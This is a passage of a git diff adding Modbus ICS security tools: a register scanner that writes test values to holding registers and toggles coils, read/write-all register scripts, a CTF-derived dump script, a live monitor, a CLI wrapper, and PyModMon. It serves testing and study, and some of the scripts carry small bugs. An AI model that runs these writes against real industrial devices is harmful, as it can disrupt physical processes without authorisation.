data_orig[i]=client.read_holding_registers(i,1) + orig_values = data_orig.values() + orig_values_list = list(orig_values) + + data=client.write_single_register(i,43981) # HEX(ABCD) == int(43981) + data=client.read_holding_registers(i,1) + #permission_list.append("Read") + #print("Regiser: "+str(i)+" => Value: "+str(data)) + if data: + if 43981==data[0]: + client.write_single_register(i,orig_values_list[i][0]) + write_confirm_list.append(i) + write_confirm_data.append(data[0]) + permission_list[i] = "Read/Write" + client.close() + return write_confirm_list,write_confirm_data,permission_list + +#Function to write single coil +def write_single_coil_regiser(ip_addr,port,coil_valid_list,coil_permission_list): + write_coil_confirm_list=[] + write_coil_confirm_data=[] + data_orig={} + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=20) + for i in coil_valid_list: + data_orig[i] = client.read_coils(i,1) + orig_values = data_orig.values() + orig_values_list = list(orig_values) + #print("Regiser: "+str(i)+" => Value: "+str(orig_values_list[i])) + if orig_values_list[i][0] == True: + client.write_single_coil(i,False) + else: + client.write_single_coil(i,True) + data=client.read_coils(i,1) + #coil_permission_list.append("Read") + #print("Regiser: "+str(i)+" => Value: "+str(data)) + if data: + if data_orig[i]!=data[0]: + client.write_single_coil(i,orig_values_list[i][0]) + write_coil_confirm_list.append(i) + write_coil_confirm_data.append(data[0]) + coil_permission_list[i] = "Read/Write" + + client.close() + return write_coil_confirm_list,write_coil_confirm_data,coil_permission_list + +#Function to read all the registers based on the parameter received +def read_valid_registers(ip_addr,port,reg, lower, upper, timeout): + valid_list=[] + data_list=[] + permission_list=[] + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=timeout) + for i in tqdm(range(lower,upper)): + if reg == "hold": + data=client.read_holding_registers(i,1) + if reg == "input": + data=client.read_input_registers(i,1) + if reg == "discrete": + data=client.read_discrete_inputs(i,1) + if reg == "coil": + data=client.read_coils(i,1) + if data: + valid_list.append(i) + data_list.append(data[0]) + permission_list.append("Read") +#Write the result to Excel File + client.close() + return valid_list,data_list,permission_list + + + +def write_to_excel(wb,register,valid_list,data_list,permission_list,reg_value): + sheet=wb.add_sheet(register) + sheet.write(0,0,"Register") + sheet.write(0,1,"Permission") + sheet.write(0,2,"Data") + for i in range(len(valid_list)): + sheet.write(i+1,0,valid_list[i]) + sheet.write(i+1,1,permission_list[i]) + sheet.write(i+1,2,data_list[i]) + wb.save("Modbus_Output.xls") + return wb + +# +def print_details(valid_list,data_list,operation): + if valid_list: + print("******************************") + print(operation+" - Valid Registers: \n"+str(valid_list)) + print("******************************") + print(operation+" - Valid Registers with Non-Zero Values") + print("******************************") + for i in range(len(valid_list)): + if data_list[i]: + print("Register :"+str(valid_list[i])+" => Value: "+str(data_list[i])) + print("******************************") + else: + print("******************************") + print("No Valid Register Found") + print("******************************") + +#Parse the input parameters +my_parser = argparse.ArgumentParser(description='Pass the input IP Address') +my_parser.add_argument('-i','--ipaddress', action='store', type=str,required=True, help='Input IP Address') +my_parser.add_argument('-p','--port', action='store', type=int,required=False, help='Port Number', default=502) +my_parser.add_argument('-r','--range', action='store', type=int,required=False, default=[1-500],dest='range',help='Define the range. Default is 1-500',nargs=2) +my_parser.add_argument('-t','--timeout', action='store', type=int,required=False, help='Timeout', default=10) +args = my_parser.parse_args() +ip_addr=args.ipaddress +port=args.port + + +#Create workbook to save the result +wb=Workbook() +#Coils - valid and Data [Read and Write] +print("******************************") +print("Reading Coils Status - 0x01") +coil_valid_list,coil_data_list,coil_permission_list=read_valid_registers(ip_addr,port,"coil", args.range[0], args.range[1], args.timeout) #Function Code - 0x01 + +if coil_data_list: + print("Writing Coil Status - 0x05") + write_coil_valid_list,write_coil_data_list,coil_permission_list=write_single_coil_regiser(ip_addr,port,coil_valid_list,coil_permission_list) #Function Code - 0x05 + +else: + print("No valid Register Found to do Write Operation") +#print_details(coil_valid_list,coil_data_list,"Read") +wb=write_to_excel(wb,"Coil",coil_valid_list,coil_data_list,coil_permission_list,0) + + + +#Holding Registers - valid and Data [Read and Write] +print("******************************") +print("Reading Holding Registers - 0x03") +hold_valid_list,hold_data_list,hold_permission_list=read_valid_registers(ip_addr,port,"hold", args.range[0], args.range[1], args.timeout) #Function Code - 0x03 +#print_details(hold_valid_list,hold_data_list,"Read") +if hold_data_list: + print("Writing Holding Status - 0x06") + write_hold_valid_list,write_hold_data_list,hold_permission_list=write_single_hold_regiser(ip_addr,port,hold_valid_list,hold_permission_list) #Function Code - 0x06 +else: + print("No valid Register Found to do Write Operation") +wb=write_to_excel(wb,"Holding_Register",hold_valid_list,hold_data_list,hold_permission_list,40000) + + + +#Discrete Input - valid and Data [Read Only] +print("******************************") +print("Reading Discrete Input - 0x02") +discrete_valid_list,discrete_data_list,discrete_permission_list=read_valid_registers(ip_addr,port,"discrete", args.range[0], args.range[1], args.timeout) #Function Code - 0x02 +#print_details(discrete_valid_list,discrete_data_list,"Read") +wb=write_to_excel(wb,"Discrete",discrete_valid_list,discrete_data_list,discrete_permission_list,10000) + + + +#Read Input Registers - valid and Data [Read Only] +print("******************************") +print("Reading Input Registers - 0x04") +input_valid_list,input_data_list,input_permission_list=read_valid_registers(ip_addr,port,"input", args.range[0], args.range[1], args.timeout) +#print_details(input_valid_list,input_data_list,"Read") +wb=write_to_excel(wb,"Input_Register",input_valid_list,input_data_list,input_permission_list,30000) +print("******************************") +print("Check the output Excel File - Modbus_Output.xls") \ No newline at end of file diff --git a/modbus/misc/ModbusPal.jar b/modbus/misc/ModbusPal.jar new file mode 100755 index 0000000..5bf73e4 --- /dev/null +++ b/modbus/misc/ModbusPal.jar Binary files differ diff --git a/modbus/misc/README.md b/modbus/misc/README.md new file mode 100644 index 0000000..1384f9f --- /dev/null +++ b/modbus/misc/README.md @@ -0,0 +1,106 @@ +- `dump_odd.py`, dump all data that doesn't have the default value +- `live_monitor.rb`, Allows you to scan, at a regular time, all Modbus registries of a device. +- `mocli.py`, A Command Line Interface for pymodbus +- `read_all_holding_registers.py`, used to scan and get values from holding registers on a TCP Modbus Slave; +- `write_all_holding_registers.py`, used to write a specific value to one or multiple holding registers of a TCP Modbus Slave; +- `read_register.py`, used to get values from various types of addresses on a TCP Modbus Slave (Holding Register, Discrete Input, Input Register) +- `pymodmon.py`, monitor several modbus addresses with a configurable interval and can also write the received data to a csv file. +- `pymodmon_3.py`, updated version of above script for python 3 +- `register_scanner.py`, Script take IP as input and brute force against all the registers. Identified valid registered will be exported to excel file +- `modbuspal.jar`, PC-based Modbus simulator. Its goal is to reproduce a realistic environment, with many slaves and animated register values. + +## live_monitor.rb +``` +Usage : ruby live_monitor.rb IP_ADDRESS TIME_IN_SECONDS +``` + +## live_monitor.rb +``` +Usage : python register_scanner.py -i ip_addr +``` + +## read_all_holding_registers.py +``` +usage: read_all_holding_registers.py [-h] [-p PORT] [-u UID] [-sa START] + [-ea END] + ip + +Read all holding registries from a TCP MODBUS Slave + +positional arguments: + ip IP address of the slave + +optional arguments: + -h, --help show this help message and exit + -p PORT, --port PORT Modbus Port. Defaults to 502 + -u UID, --uid UID Modbus Unit ID. Defaults to 1 + -sa START, --start-address START + Starting Address for the scanner. Defaults to 1 + -ea END, --end-address END + Ending Address for the scanner. Defaults to 65535 +``` + +## write_all_holding_registers.py +``` +usage: write_all_holding_registers.py [-h] [-p PORT] [-u UID] [-sa START] + [-ea END] [-v VALUE] + ip + +Write all holding registries on a TCP MODBUS Slave + +positional arguments: + ip IP address of the slave + +optional arguments: + -h, --help show this help message and exit + -p PORT, --port PORT Modbus Port. Defaults to 502 + -u UID, --uid UID Modbus Unit ID. Defaults to 1 + -sa START, --start-address START + Starting Address for the writer. Defaults to 1 + -ea END, --end-address END + Ending Address for the writer. Defaults to 65535 + -v VALUE, --value VALUE + Value that will be written. Defaults to 7777 +``` + +## read_register.py +``` +usage: read_register.py [-h] [-p PORT] [-u UID] [-sa START] [-ea END] + [-t TYPE] + ip + +Read specific addresses on a TCP MODBUS Slave + +positional arguments: + ip IP address of the slave + +optional arguments: + -h, --help show this help message and exit + -p PORT, --port PORT Modbus Port. Defaults to 502 + -u UID, --uid UID Modbus Unit ID. Defaults to 1 + -sa START, --start-address START + Starting Address for the scanner. Defaults to 1 + -ea END, --end-address END + Ending Address for the scanner. Defaults to 65535 + -t TYPE, --type TYPE Type of Modbus address to read. Values can be 'h' for + Holding, 'd' for Discrete Inputs or 'i' for Input + Registers. Defaults to 'h' + +``` + +# PyModMon +Python Modbus Monitor + +This is a Python skript that acts as a Modbus slave. +It can be used e.g. for reading data from newer solar inverters made by SMA. + +It has the ability to monitor several modbus addresses with a configurable interval and can also write the received data to a csv file. + +The logged data can then be used with other programs for analysing or plotting. + +Dependencies: +* Python 2.7 +* Python package docopt +* Python package pymodbus (and dependencies) + +pymodmon_3.py is the updated version for Python 3 (tested with Python 3.7). No additional functionality was added. diff --git a/modbus/misc/dump_odd.py b/modbus/misc/dump_odd.py new file mode 100644 index 0000000..176d630 --- /dev/null +++ b/modbus/misc/dump_odd.py @@ -0,0 +1,27 @@ +import sys +from pymodbus.client.sync import ModbusTcpClient +#from https://ctftime.org/writeup/31455 + +client = ModbusTcpClient(sys.argv[1]) + +for unit in range(32): + for address, register in enumerate(client.read_holding_registers(0, 99, unit=unit).registers): + if register != 0: + print(f"hr {unit} {address} {register}") + +for unit in range(32): + for address, register in enumerate(client.read_input_registers(0, 99, unit=unit).registers): + if register != 1: + print(f"ir {unit} {address} {register}") + +for unit in range(32): + for address_base in range(0, 2999, 256): + for address_index, coil in enumerate(client.read_coils(address_base, min(256, 2999 - address_base), unit=unit).bits[:min(256, 2999 - address_base)]): + if coil != False: + print(f"c {unit} {address_base + address_index} {coil}") + +for unit in range(32): + for address_base in range(0, 2999, 256): + for address_index, coil in enumerate(client.read_discrete_inputs(address_base, min(256, 2999 - address_base), unit=unit).bits[:min(256, 2999 - address_base)]): + if coil != True: + print(f"di {unit} {address_base + address_index} {coil}") diff --git a/modbus/misc/live_monitor.rb b/modbus/misc/live_monitor.rb new file mode 100644 index 0000000..8420ebc --- /dev/null +++ b/modbus/misc/live_monitor.rb @@ -0,0 +1,69 @@ +#!/usr/bin/env ruby + +require 'rmodbus' + +# Stuff to print text in colour +class String + def red; "\033[31m#{self}\033[0m" end + def green; "\033[32m#{self}\033[0m" end + def brown; "\033[33m#{self}\033[0m" end + def blue; "\033[34m#{self}\033[0m" end + def bg_gray; "\033[47m#{self}\033[0m" end +end + +@results = Array.new() +@target = ARGV[0] +delay = ARGV[1] + +# Send Modbus requests +def modbus_request(ip, port, start_address, stop_address) + cl = ModBus::TCPClient.new(ip, port) + slave = cl.with_slave(1) + unless start_address == 0 + start_address = start_address + 1 + end + test = slave.holding_registers[start_address..stop_address] + return test +end + +# grab all registers values until 65 500 ("à peu près") +def grab_all_registers + registers = Array.new() + for i in 0..654 + result = modbus_request(@target, 502, (i*100), ((i+1)*100)) + j = 0 + result.each do |yolo| + registers.push(yolo) + j = j + 1 + end + end + result = modbus_request(@target, 502, 65500, 65535) + j = 0 + result.each do |yolo| + registers.push(yolo) + j = j + 1 + end + + return registers +end + +trap("INT") { + puts ""; puts "[+] Live monitoring stopped".green; exit +} + +round = 0 +while(1) + puts '[+]'.green + ' Reading registers (#' + round.to_s + ')' + @results.push(grab_all_registers) + unless round == 0 + for b in 0..@results[0].length + if !(@results[0][b] == @results[1][b]) + puts "[!] Register ##{b} changed from #{@results[0][b]} to #{@results[1][b]} !!! ".red.bg_gray + end + end + @results.delete_at(0) + end + round = round + 1 + puts "[+] Waiting #{delay}s ..." + sleep(delay.to_i) +end diff --git a/modbus/misc/mocli.py b/modbus/misc/mocli.py new file mode 100644 index 0000000..36de113 --- /dev/null +++ b/modbus/misc/mocli.py @@ -0,0 +1,164 @@ +#!/usr/bin/env python + +import argparse +import functools + +''' +Command Line Wrapper around pymodbus + +Known Issues: + Writing Integer Values: if the first value in a --values input is a negative + value, the parser interprets it incorrectly as an option flag. This can be + avoided if the space is removed between the -v or --values flag and the + values that follow. +''' + + + +def stringBool(val): + uval = val.upper() + if uval in ['1','T','TRUE']: + return True + elif uval in ['0','F','FALSE']: + return False + else: + return None + +def arrayStringBools(valarr): + result = [stringBool(item) for item in valarr] + return result + +# String to Int works as expected except for when value is out of signed or +# unsigned Modbus Word (2 Bytes) range. In this case it will return None. If a +# negative number is provided, it is converted to the equivalent unsigned Word +# value silently. +def stringToInt(val): + intval = int(val) + if intval < -0xFFFF or intval > 0xFFFF: + return None + elif intval < 0: + return 0x10000 + intval + else: + return intval + + +def arrayStringInts(valarr): + return [stringToInt(item) for item in valarr] + +parser = argparse.ArgumentParser(prog='ReadHTcp') + +parser.add_argument('method', choices=['tcp','udp','rtu','serial'], default='tcp') +parser.add_argument('-a','--address',type=int) +parser.add_argument('-c','--count',type=int,default=1) +parser.add_argument('-v','--values',type=lambda s: [item for item in list(map(lambda t: t.strip(),s.split(',')))]) + +parser.add_argument('-i','--ip',default='127.0.0.1') +parser.add_argument('-p','--port',default=502,type=int) +parser.add_argument('-u','--unit',type=int,default='0') +# Arguments for Serial Clients +# timeout is in seconds +parser.add_argument('-t', '-timeout',type=int,default=3) +parser.add_argument('--stopbits',choices=[0,1,2],default=1) +parser.add_argument('--bytesize',choices=[5,6,7,8],default=8) +parser.add_argument('--parity',choices=['N','E','O']) +parser.add_argument('--baudrate',type=int,default=9600) + +# Datastore Arguments +parser.add_argument('--zeromode',action='store_true') + +parser.add_argument('-r','--repeat',type=int,default=1) +parser.add_argument('-f','--function',choices=['rcs','wcs','wc','rds','rhs','whs','wh','ris','rwh','mwh','read-coils','write-coils','write_coil','read-discretes','read-holdings','write-holdings','write-holding','read-inputs','read-write-registers','mask-write-register']) + +parser.add_argument('-d','--debug',action='store_true') + +kargs, uargs = parser.parse_known_args() + +duargs = {} + +for s in uargs: + key,val = s.split('=') + duargs[key]=val + +if kargs.debug: + print('dict',kargs.__dict__) + print('debug', kargs.debug) + print('Known: ', kargs) + print('Unknown: ',uargs) + print('Unknown Dict: ',duargs) + quit() + +client = None + +try: + if kargs.method == 'tcp': + from pymodbus.client.sync import ModbusTcpClient + + client = ModbusTcpClient(kargs.ip,port=kargs.port,unit_id=kargs.unit) + + elif kargs.method == 'rtu': + from pymodbus.client.sync import ModbusSeriaClient + + client = ModbusRtuClient(kargs.method, port=kargs.port, stopbits=kargs.stopbits,bytesize=kargs.bytesize,parity=kargs.parity,baudrate=kargs.baudrate,timeout=kargs.timeout) + + if client != None: + display_prefix = '' + function_result = None + write_result = None + for x in range(kargs.repeat): + if kargs.function in ['rcs','read-coils']: + read = client.read_coils(kargs.address,kargs.count,unit=kargs.unit) + function_result=read.bits + display_prefix = 'Read Coils' + + elif kargs.function in ['rds','read-discretes']: + read = client.read_discrete_inputs(kargs.address,kargs.count,unit=kargs.unit) + function_result=read.bits + display_prefix = 'Read Discretes' + + elif kargs.function in ['ris','read-inputs']: + read = client.read_input_registers(kargs.address,kargs.count,unit=kargs.unit) + function_result=read.registers + display_prefix = 'Read Input Registers' + + elif kargs.function in ['rhs','read-holding']: + read = client.read_holding_registers(kargs.address,kargs.count,unit=kargs.unit) + function_result = read.registers + display_prefix = 'Read Holding' + + elif kargs.function in ['wc','write-coil']: + result = client.write_coil(kargs.address,stringBool(kargs.values[0]),unit=kargs.unit) + write_result = result + display_prefix = 'Write Coil' + + elif kargs.function in ['wcs','write-coils']: + coil_values = arrayStringBools(kargs.values) + result = client.write_coils(kargs.address,coil_values,unit=kargs.unit) + write_result = result + display_prefix = 'Write Coils' + + elif kargs.function in ['wh','write-holding']: + result = client.write_register(kargs.address,stringToInt(kargs.values[0]),unit=kargs.unit) + write_result = result + display_prefix = 'Write Holding Register' + + elif kargs.function in ['whs','write-holdings']: +# print('-------> Values: ' +str(arrayStringInts(kargs.values))) + result = client.write_registers(kargs.address,arrayStringInts(kargs.values),unit=kargs.unit) + write_result = result + display_prefix = 'Write Holding Registers' + + else: + print('Function "%s" is not yet implemented in this wrapper. Exiting' % kargs.function) + quit() + +# Display results + if function_result != None: + print(display_prefix + ' #%s' % x,functools.reduce(lambda x,y: str(x)+ ',' + str(y),function_result[:kargs.count])) + + if write_result != None: + print(display_prefix + ' #%s' % x, write_result) + +finally: + if client != None: + client.close() + diff --git a/modbus/misc/pymodmon.py b/modbus/misc/pymodmon.py new file mode 100644 index 0000000..9a5e464 --- /dev/null +++ b/modbus/misc/pymodmon.py @@ -0,0 +1,976 @@ +# coding=UTF-8 + +## @package pymodmon +# Python Modbus Monitor +# a small program that uses the pymodbus package to retrieve and +# display modbus slave data. +# requires: Python 2.7, pymodbus, docopt +# +# Date created: 2016-05-04 +# Author: André Schieleit + +## help message to display by docopt (and parsed by docopt for command line arguments) +'''Python Modbus Monitor. + +Usage: + pymodmon.py + pymodmon.py [-h|--help] + pymodmon.py [--version] + pymodmon.py -i |--inifile= [-l |--logfile=] [-L |--loginterval=] [-B |--logbuffer=] [-S|--single] [--nogui] [-D|--daily-log] + pymodmon.py --ip= --port= --id= --addr= --type= --format= [-L |--loginterval=] [-B |--logbuffer=] [--descr=<"descr">] [--unit=<"unit">] [-S|--single] [-l |--logfile=] + +Options: + no options given in a xterm will open the TK interface + -h, --help Show this screen + --version Show version + -i, --inifile= Uses the given file as input for communication and + log file settings and channel configuration + -l, --logfile= Uses the given file as output for the retrieved data. + The data will be formatted in csv. + Existing files will be appended. + --ip= Use this as the IP address of the communication target + --port= Port of the communication target + --id= Modbus ID of the communication target + --addr= Address of the modbus register to read + --type= Data type of the retrieved data at a given address. + Allowed types: U64, U32, U16, S32, S16, STR32 + --format= Format of the retrieved data. + Allowed formats: RAW, UTF8, FIX0, FIX1, FIX2, FIX3 + --descr= Description for the retrieved data. + e.g. --descr="device name" + --unit= Unit of the retrieved data. e.g. --unit="V" + -G, --nogui Explicitly run without gui even when available + -S, --single Do only one read cycle instead of continuous reading. + -L, --loginterval= Read data every xx seconds. [defaul value: 5] + -B, --logbuffer= Read xx datasets before writing to disk. + Useful to prevent wearout on solid state devices. + [default value: 50] + -D, --daily-log Writes a log file for each day. At 00:00:00 system + time a new log file will be started. A given log file + name will be appended with the current date with + "%Y-%m-%d" format. +''' + +## use docopt for command line parsing and displaying help message +try: + import docopt +except ImportError: + try: ## for command line showerror does not work + showerror('Import Error','docopt package was not found on your system.\nPlease install it using the command:\ + \n"pip install docopt"') + except: + print ('Import errror. docopt package was not found on your system. Please install it using the command: "pip install docopt"') +from docopt import docopt +if __name__ == '__main__': + arguments = docopt(__doc__, version='PyModMon 1.0') + +## use pymodbus for the Modbus communication +try: + from pymodbus import * +except ImportError: + try: ## for command line showerror does not work + showerror('Import Error','pymodbus package was not found on your system.\nPlease install it using the command:\ + \n"pip install pymodbus"') + except: + print ('Import errror. pymodbus package was not found on your system. Please install it using the command: "pip install pymodbus"') + +## enable execution of functions on program exit +import atexit + +## enable timed execution of the data polling +from threading import Timer + +## enable file access +import os + +## class for all data related things +# +class Data(object): + ## set default values and allowed input values + def __init__(self): + self.inifilename = None + self.logfilename = None + self.logmaxbuffer = 50 ## how many records will be buffered before writing to file + self.ipaddress = '10.0.0.42' ## address of the communication target + self.portno = 502 ## port number of the target + self.modbusid = 3 ## bus ID of the target + self.manufacturer = 'Default Manufacturer' ## arbitrary string for user conveniance + self.loginterval = 5 ## how often should data be pulled from target in seconds + self.moddatatype = { ## allowed data types, sent from target + 'S32':2, + 'U32':2, + 'U64':4, + 'STR32':16, + 'S16':1, + 'U16':1 + } + + self.dataformat = ['ENUM','UTF8','FIX3','FIX2','FIX1','FIX0','RAW'] ## data format from target + + ## table of data to be pulled from target + self.datasets = [['address','type','format','description','unit','value']] + + self.datavector = [] ## holds the polled data from target + self.databuffer = [] ## holds the datavectors before writing to disk + self.datawritebuffer = [] ## holds a copy of databuffer for actual writing to disk + +## class that contains all IO specifics +class Inout: + ## some values to check against when receiving data from target + # these values are read when there is not acutal value from the target available. + # they are the equivalent to None + MIN_SIGNED = -2147483648 + MAX_UNSIGNED = 4294967295 + + ## function for testing the per command line specified configuration file + def checkImportFile(self): + ## does the file exist? + try: + inifile = open(str(arguments['--inifile']),'r').close() + data.inifilename = str(arguments['--inifile']) + except: + ## if we have a GUI display an error dialog + try: + showerror('Import Error','The specified configuration file was not found.') + return + except: ## if no GUI display error and exit + print('Configuration file error. A file with that name seems not to exist, please check.') + exit() + try: + inout.readImportFile() + except: + try: + showerror('Import Error','Could not read the configuration file. Please check file path and/or file.') + return + except: + print 'Could not read configuration file. Please check file path and/or file.' + exit() + + ## function for acually reading input configuration file + def readImportFile(self): + ## read config data from file + import ConfigParser + Config = ConfigParser.SafeConfigParser() + ## read the config file + Config.read(data.inifilename) + data.ipaddress = Config.get('CommSettings','IP address') + data.portno = int(Config.get('CommSettings','port number')) + data.modbusid = int(Config.get('CommSettings','Modbus ID')) + data.manufacturer = Config.get('CommSettings','manufacturer') + data.loginterval = int(Config.get('CommSettings','logger interval')) + try: ## logfilename may be empty. if so data will printed to terminal + data.logfilename = Config.get('FileSettings','log file') + except: + data.logfilename = None + data.logmaxbuffer = int(Config.get('FileSettings','log buffer')) + data.datasets = eval(Config.get('TargetDataSettings','data table')) + + ## function for actually writing configuration data + # + def writeExportFile(self): + ## use ini file capabilities + import ConfigParser + Config = ConfigParser.ConfigParser() + + ## if the dialog was closed with no file selected ('cancel') just return + if (data.inifilename == None): + try: ## if running in command line no window can be displayed + showerror('Configuration File Error','no file name given, please check.') + except: + print('Configuration file error, no file name given, please check.') + return + ## write the data to the selected config file + try: + inifile = open(data.inifilename,'w') + except: + try: ## if running in command line no window can be displayed + showerror('Configuration File Error','a file with that name seems not to exist, please check.') + except: + print('Configuration file error, a file with that name seems not to exist, please check.') + gui.selectExportFile() + return + + ## format the file structure + Config.add_section('CommSettings') + Config.set('CommSettings','IP address',data.ipaddress) + Config.set('CommSettings','port number',data.portno) + Config.set('CommSettings','Modbus ID',data.modbusid) + Config.set('CommSettings','manufacturer',data.manufacturer) + Config.set('CommSettings','logger interval',data.loginterval) + Config.add_section('FileSettings') + Config.set('FileSettings','log file',data.logfilename) + Config.set('FileSettings','log buffer',data.logmaxbuffer) + Config.add_section('TargetDataSettings') + Config.set('TargetDataSettings','data table',data.datasets) + + Config.write(inifile) + inifile.close() + + ## function for writing to log file + # checks if it is an existing file with data in it and will append then + # this function should only be called in intervals writing data in bulk (e.g. every 5 minutes) + # to prevent wearout on solid state disks like SD CARDs + # + def writeLoggerDataFile(self): + import csv ## for writing in csv format + import datetime ## for daily log option + + if (data.logfilename == None): ## when no filename is given, print data to terminal + if len(data.datawritebuffer) > 0: ## if the buffer has data write this to terminal + print (data.datawritebuffer) + data.datawritebuffer = [] ## empty buffer + else: ## we asume that this was called outside the poll loop with buffer size not reached + print(data.databuffer) + if (len(data.databuffer) == 1): ## if only one address was provided via command line + print data.databuffer[0][0],data.datasets[1][3],data.databuffer[0][1],data.datasets[1][4] + data.databuffer = [] ## empty buffer + return + + thislogfile = data.logfilename ## store filename locally for daily option + thisdate = str(datetime.date.today()) + gui_checked_daily = 0 + + ## is GUI available or is command line mode active + if (gui_active): + gui_checked_daily = int(gui.checked_daily.get()) + + ## if daily option is active + if ( (arguments['--daily-log'] == True) or (gui_checked_daily) ): + ## assumption: the logfile has a file extension + logfileparts = thislogfile.rpartition('.') + + ## if there is no file extension we will append the current date to the name + if (logfileparts[0] == ''): + ## re-order logfileparts + thislogfile = logfileparts[2]+'_'+thisdate + else: + ## format the new logfilename with current date included + thislogfile = logfileparts[0]+'_'+thisdate+logfileparts[1]+logfileparts[2] + + ## try to open the file. if it does not exist, create it on the way + try: + open(thislogfile, 'a').close() + except: + try: ## if running in command line no window can be displayed + showerror('Log File Error','file cannot be accessed, please check.') + except: + print('Log file error. File cannot be accessed, please check.') + return + + ## check if the file is empty, if so write the header information to the file + if os.stat(thislogfile).st_size==0: + with open(thislogfile,'ab') as logfile: + logwriter = csv.writer(logfile, quoting=csv.QUOTE_ALL) + ## ensure UTF8 encoding while writing + ## print out what data is contained and whats its format + for thisrow in data.datasets: + thisrow = [s.encode('utf-8') for s in thisrow] + logwriter.writerows([thisrow]) + + logfile.write('-'*50+'\n') ## write a separator + ## format the column headers + columnheader = 'time' + for thisrow in data.datasets[1:]: ## omit first row containing 'address' + ## ensure UTF8 encoding while writing, since this is the column heading + # no problem with converting to string even if stored as int + thisrow = [s.encode('utf-8') for s in thisrow] + ## use description field for columnheader if filled + if (thisrow[3] != ''): + thisdescription = ','+str(thisrow[3]) + ## if a unit is entered add it after the description + if (thisrow[4] != ''): + thisdescription += ' ('+str(thisrow[4])+')' + columnheader += thisdescription + else: ## no description, use address as header + columnheader += ', '+str(thisrow[0]) + + columnheader += '\n' ## line break before data rows + logfile.write(columnheader) + + ## if the file is not empty we assume an append write to the file + if len(data.datawritebuffer) > 0: ## if the buffer has data write this to disk + with open(thislogfile,'ab') as logfile: + logwriter = csv.writer(logfile) + logwriter.writerows(data.datawritebuffer) + data.datawritebuffer = [] ## empty buffer + else: ## we asume that this was called outside the poll loop with buffer size not reached + with open(thislogfile,'ab') as logfile: + logwriter = csv.writer(logfile) + logwriter.writerows(data.databuffer) + data.databuffer = [] ## empty buffer + + ## function for starting communication with target + # + def runCommunication(self): + from pymodbus.client.sync import ModbusTcpClient as ModbusClient + + self.client = ModbusClient(host=data.ipaddress, port=data.portno) + try: + self.client.connect() + except: + showerror('Modbus Connection Error','could not connect to target. Check your settings, please.') + + self.pollTargetData() + + self.client.close() + ## lambda: is required to not spawn hundreds of threads but only one that calls itself + self.commtimer = Timer(data.loginterval, lambda: self.runCommunication()) + self.commtimer.start() ## needs to be a separate command else the timer is not cancel-able + + def stopCommunication(self): + #print ('Stopped Communication') + self.commtimer.cancel() + ## flush data buffer to disk + self.writeLoggerDataFile() + + ## function for polling data from the target and triggering writing to log file if set + # + def pollTargetData(self): + from pymodbus.payload import BinaryPayloadDecoder + from pymodbus.constants import Endian + import datetime + + data.datavector = [] ## empty datavector for current values + + ## request each register from datasets, omit first row which contains only column headers + for thisrow in data.datasets[1:]: + ## if the connection is somehow not possible (e.g. target not responding) + # show a error message instead of excepting and stopping + try: + received = self.client.read_input_registers(address = int(thisrow[0]), + count = data.moddatatype[thisrow[1]], + unit = data.modbusid) + except: + thisdate = str(datetime.datetime.now()).partition('.')[0] + thiserrormessage = thisdate + ': Connection not possible. Check settings or connection.' + if (gui_active): + showerror('Connection Error',thiserrormessage) + return ## prevent further execution of this function + else: + print thiserrormessage + return ## prevent further execution of this function + + message = BinaryPayloadDecoder.fromRegisters(received.registers, byteorder=Endian.Big, wordorder=Endian.Big) + ## provide the correct result depending on the defined datatype + if thisrow[1] == 'S32': + interpreted = message.decode_32bit_int() + elif thisrow[1] == 'U32': + interpreted = message.decode_32bit_uint() + elif thisrow[1] == 'U64': + interpreted = message.decode_64bit_uint() + elif thisrow[1] == 'STR32': + interpreted = message.decode_string(32) + elif thisrow[1] == 'S16': + interpreted = message.decode_16bit_int() + elif thisrow[1] == 'U16': + interpreted = message.decode_16bit_uint() + else: ## if no data type is defined do raw interpretation of the delivered data + interpreted = message.decode_16bit_uint() + + ## check for "None" data before doing anything else + if ((interpreted == self.MIN_SIGNED) or (interpreted == self.MAX_UNSIGNED)): + displaydata = None + else: + ## put the data with correct formatting into the data table + if thisrow[2] == 'FIX3': + displaydata = float(interpreted) / 1000 + elif thisrow[2] == 'FIX2': + displaydata = float(interpreted) / 100 + elif thisrow[2] == 'FIX1': + displaydata = float(interpreted) / 10 + else: + displaydata = interpreted + + ## save _scaled_ data in datavector for further handling + data.datavector.append(displaydata) + + ## display collected data + if (gui_active == 1): + gui.updateLoggerDisplay() + + ## for logging purposes we need a time stamp first + stampedvector = [] + ## we don't need the microseconds of the date return value, so we strip it + stampedvector.append(str(datetime.datetime.now()).partition('.')[0]) + stampedvector += data.datavector + data.databuffer.append(stampedvector) + #print data.databuffer + ## is the buffer large enough to be written to file system? + if (len(data.databuffer) >= data.logmaxbuffer): + ## ensure that the data to write will not be altered by faster poll cycles + data.datawritebuffer = data.databuffer + data.databuffer = [] ## empty the buffer + self.writeLoggerDataFile() ## call write routine to save data on disk + + ## function adds dataset to the datasets list + # also updates the displayed list + # new datasets are not added to the config file + # + def addDataset(self,inputdata): + data.datasets.append(inputdata) + print 'Current datasets: ',(data.datasets) + + ## function for saving program state at program exit + # + def cleanOnExit(self): + try: ## stop data logging on exit, catch a possible exception, when communication is not running + self.stopCommunication() + except: + print '' + + ## if data is available, write polled data from buffer to disk + if len(data.databuffer): + self.writeLoggerDataFile() + print 'PyModMon has exited cleanly.' + + ## function for printing the current configuration settings + # only used for debug purpose + # + def printConfig(self): + counter = 0 + for data in data.datasets: + print('Datasets in List:', counter, data) + counter += 1 + +## class that contains all GUI specifics +# +class Gui: + def __init__(self,master): + + ## configure app window + master.title('Python Modbus Monitor') + master.minsize(width=550, height=450) + master.geometry("550x550") ## scale window a bit bigger for more data lines + self.settingscanvas = Canvas(master,bg="yellow",highlightthickness=0) + self.settingscanvas.pack(side='top',anchor='nw',expand=False,fill='x') + + ## make the contents of settingscanvas fit the window width + Grid.columnconfigure(self.settingscanvas,0,weight = 1) + + ## create window containers + + ## frame for the config file and data logger file display + filesframe = Frame(self.settingscanvas,bd=1,relief='groove') + filesframe.columnconfigure(1,weight=1) ## set 2nd column to be auto-stretched when window is resized + filesframe.grid(sticky = 'EW') + + ## frame for the settings of the communication parameters + self.settingsframe = Frame(self.settingscanvas,bd=1,relief='groove') + self.settingsframe.grid(sticky = 'EW') + + ## frame for the controls for starting and stopping configuration + controlframe = Frame(self.settingscanvas,bd=1,relief='groove') + controlframe.grid(sticky = 'EW') + + ## create Menu + menubar = Menu(master) + filemenu = Menu(menubar, 